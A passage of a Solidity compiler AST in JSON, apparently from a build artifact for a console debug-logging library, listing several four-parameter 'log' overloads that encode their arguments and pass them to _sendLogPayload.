f6c2c6164647265737329","id":22531,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56755:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_23e5497254e625e6c33a3fa3eb47ff18f6bac3345da52f847bd5571820febf2d","typeString":"literal_string \"log(address,uint,bool,address)\""},"value":"log(address,uint,bool,address)"},{"id":22532,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22519,"src":"56789:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22533,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22521,"src":"56793:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22534,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22523,"src":"56797:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22535,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22525,"src":"56801:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_23e5497254e625e6c33a3fa3eb47ff18f6bac3345da52f847bd5571820febf2d","typeString":"literal_string \"log(address,uint,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22529,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56731:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22530,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56735:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56731:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56731:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22528,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"56715:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22537,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56715:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22538,"nodeType":"ExpressionStatement","src":"56715:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56645:3:14","parameters":{"id":22526,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22519,"mutability":"mutable","name":"p0","nameLocation":"56657:2:14","nodeType":"VariableDeclaration","scope":22540,"src":"56649:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22518,"name":"address","nodeType":"ElementaryTypeName","src":"56649:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22521,"mutability":"mutable","name":"p1","nameLocation":"56666:2:14","nodeType":"VariableDeclaration","scope":22540,"src":"56661:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22520,"name":"uint","nodeType":"ElementaryTypeName","src":"56661:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22523,"mutability":"mutable","name":"p2","nameLocation":"56675:2:14","nodeType":"VariableDeclaration","scope":22540,"src":"56670:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22522,"name":"bool","nodeType":"ElementaryTypeName","src":"56670:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22525,"mutability":"mutable","name":"p3","nameLocation":"56687:2:14","nodeType":"VariableDeclaration","scope":22540,"src":"56679:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22524,"name":"address","nodeType":"ElementaryTypeName","src":"56679:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"56648:42:14"},"returnParameters":{"id":22527,"nodeType":"ParameterList","parameters":[],"src":"56705:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22563,"nodeType":"FunctionDefinition","src":"56818:176:14","nodes":[],"body":{"id":22562,"nodeType":"Block","src":"56887:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c616464726573732c75696e7429","id":22554,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56937:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a5d98768f8145ad77f2cf1b1f44790c3edb28c68feadee43b01883b75311ac0e","typeString":"literal_string \"log(address,uint,address,uint)\""},"value":"log(address,uint,address,uint)"},{"id":22555,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22542,"src":"56971:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22556,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22544,"src":"56975:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22557,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22546,"src":"56979:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22558,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22548,"src":"56983:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a5d98768f8145ad77f2cf1b1f44790c3edb28c68feadee43b01883b75311ac0e","typeString":"literal_string \"log(address,uint,address,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22552,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56913:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22553,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56917:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56913:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22559,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56913:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22551,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"56897:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22560,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56897:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22561,"nodeType":"ExpressionStatement","src":"56897:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56827:3:14","parameters":{"id":22549,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22542,"mutability":"mutable","name":"p0","nameLocation":"56839:2:14","nodeType":"VariableDeclaration","scope":22563,"src":"56831:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22541,"name":"address","nodeType":"ElementaryTypeName","src":"56831:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22544,"mutability":"mutable","name":"p1","nameLocation":"56848:2:14","nodeType":"VariableDeclaration","scope":22563,"src":"56843:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22543,"name":"uint","nodeType":"ElementaryTypeName","src":"56843:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22546,"mutability":"mutable","name":"p2","nameLocation":"56860:2:14","nodeType":"VariableDeclaration","scope":22563,"src":"56852:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22545,"name":"address","nodeType":"ElementaryTypeName","src":"56852:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22548,"mutability":"mutable","name":"p3","nameLocation":"56869:2:14","nodeType":"VariableDeclaration","scope":22563,"src":"56864:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22547,"name":"uint","nodeType":"ElementaryTypeName","src":"56864:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"56830:42:14"},"returnParameters":{"id":22550,"nodeType":"ParameterList","parameters":[],"src":"56887:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22586,"nodeType":"FunctionDefinition","src":"57000:187:14","nodes":[],"body":{"id":22585,"nodeType":"Block","src":"57078:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c616464726573732c737472696e6729","id":22577,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57128:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5d71f39ef468709ab1c82c125aa1311ff96f65f56794c27c7babe5651379e4b4","typeString":"literal_string \"log(address,uint,address,string)\""},"value":"log(address,uint,address,string)"},{"id":22578,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22565,"src":"57164:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22579,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22567,"src":"57168:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22580,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22569,"src":"57172:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22581,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22571,"src":"57176:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5d71f39ef468709ab1c82c125aa1311ff96f65f56794c27c7babe5651379e4b4","typeString":"literal_string \"log(address,uint,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22575,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57104:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22576,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57108:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57104:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22582,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57104:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22574,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"57088:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22583,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57088:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22584,"nodeType":"ExpressionStatement","src":"57088:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57009:3:14","parameters":{"id":22572,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22565,"mutability":"mutable","name":"p0","nameLocation":"57021:2:14","nodeType":"VariableDeclaration","scope":22586,"src":"57013:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22564,"name":"address","nodeType":"ElementaryTypeName","src":"57013:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22567,"mutability":"mutable","name":"p1","nameLocation":"57030:2:14","nodeType":"VariableDeclaration","scope":22586,"src":"57025:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22566,"name":"uint","nodeType":"ElementaryTypeName","src":"57025:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22569,"mutability":"mutable","name":"p2","nameLocation":"57042:2:14","nodeType":"VariableDeclaration","scope":22586,"src":"57034:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22568,"name":"address","nodeType":"ElementaryTypeName","src":"57034:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22571,"mutability":"mutable","name":"p3","nameLocation":"57060:2:14","nodeType":"VariableDeclaration","scope":22586,"src":"57046:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22570,"name":"string","nodeType":"ElementaryTypeName","src":"57046:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"57012:51:14"},"returnParameters":{"id":22573,"nodeType":"ParameterList","parameters":[],"src":"57078:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22609,"nodeType":"FunctionDefinition","src":"57193:176:14","nodes":[],"body":{"id":22608,"nodeType":"Block","src":"57262:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c616464726573732c626f6f6c29","id":22600,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57312:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f181a1e98aefbb6e5d63ca72f24da9aa3686f47d72314c12e70fa7843b309ee6","typeString":"literal_string \"log(address,uint,address,bool)\""},"value":"log(address,uint,address,bool)"},{"id":22601,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22588,"src":"57346:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22602,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22590,"src":"57350:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22603,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22592,"src":"57354:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22604,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22594,"src":"57358:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f181a1e98aefbb6e5d63ca72f24da9aa3686f47d72314c12e70fa7843b309ee6","typeString":"literal_string \"log(address,uint,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22598,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57288:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57292:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57288:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57288:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22597,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"57272:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22606,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57272:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22607,"nodeType":"ExpressionStatement","src":"57272:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57202:3:14","parameters":{"id":22595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22588,"mutability":"mutable","name":"p0","nameLocation":"57214:2:14","nodeType":"VariableDeclaration","scope":22609,"src":"57206:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22587,"name":"address","nodeType":"ElementaryTypeName","src":"57206:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22590,"mutability":"mutable","name":"p1","nameLocation":"57223:2:14","nodeType":"VariableDeclaration","scope":22609,"src":"57218:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22589,"name":"uint","nodeType":"ElementaryTypeName","src":"57218:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22592,"mutability":"mutable","name":"p2","nameLocation":"57235:2:14","nodeType":"VariableDeclaration","scope":22609,"src":"57227:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22591,"name":"address","nodeType":"ElementaryTypeName","src":"57227:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22594,"mutability":"mutable","name":"p3","nameLocation":"57244:2:14","nodeType":"VariableDeclaration","scope":22609,"src":"57239:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22593,"name":"bool","nodeType":"ElementaryTypeName","src":"57239:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"57205:42:14"},"returnParameters":{"id":22596,"nodeType":"ParameterList","parameters":[],"src":"57262:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22632,"nodeType":"FunctionDefinition","src":"57375:182:14","nodes":[],"body":{"id":22631,"nodeType":"Block","src":"57447:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c616464726573732c6164647265737329","id":22623,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57497:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ec24846f1ed52bfa5dc64139c1bf8b03f991fdd5156eccb50dfe44ca5a2ca40e","typeString":"literal_string \"log(address,uint,address,address)\""},"value":"log(address,uint,address,address)"},{"id":22624,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22611,"src":"57534:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22625,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22613,"src":"57538:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22626,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22615,"src":"57542:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22627,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22617,"src":"57546:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ec24846f1ed52bfa5dc64139c1bf8b03f991fdd5156eccb50dfe44ca5a2ca40e","typeString":"literal_string \"log(address,uint,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22621,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57473:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22622,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57477:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57473:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57473:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22620,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"57457:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22629,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57457:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22630,"nodeType":"ExpressionStatement","src":"57457:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57384:3:14","parameters":{"id":22618,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22611,"mutability":"mutable","name":"p0","nameLocation":"57396:2:14","nodeType":"VariableDeclaration","scope":22632,"src":"57388:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22610,"name":"address","nodeType":"ElementaryTypeName","src":"57388:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22613,"mutability":"mutable","name":"p1","nameLocation":"57405:2:14","nodeType":"VariableDeclaration","scope":22632,"src":"57400:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22612,"name":"uint","nodeType":"ElementaryTypeName","src":"57400:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22615,"mutability":"mutable","name":"p2","nameLocation":"57417:2:14","nodeType":"VariableDeclaration","scope":22632,"src":"57409:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22614,"name":"address","nodeType":"ElementaryTypeName","src":"57409:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22617,"mutability":"mutable","name":"p3","nameLocation":"57429:2:14","nodeType":"VariableDeclaration","scope":22632,"src":"57421:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22616,"name":"address","nodeType":"ElementaryTypeName","src":"57421:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"57387:45:14"},"returnParameters":{"id":22619,"nodeType":"ParameterList","parameters":[],"src":"57447:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22655,"nodeType":"FunctionDefinition","src":"57563:181:14","nodes":[],"body":{"id":22654,"nodeType":"Block","src":"57638:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e742c75696e7429","id":22646,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57688:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a4c92a60ad8c7136a44d442238a838fba251b421248205a77f1a522d55c988af","typeString":"literal_string \"log(address,string,uint,uint)\""},"value":"log(address,string,uint,uint)"},{"id":22647,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22634,"src":"57721:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22648,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22636,"src":"57725:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22649,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22638,"src":"57729:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22650,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22640,"src":"57733:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a4c92a60ad8c7136a44d442238a838fba251b421248205a77f1a522d55c988af","typeString":"literal_string \"log(address,string,uint,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22644,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57664:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22645,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57668:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57664:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22651,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57664:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22643,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"57648:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function 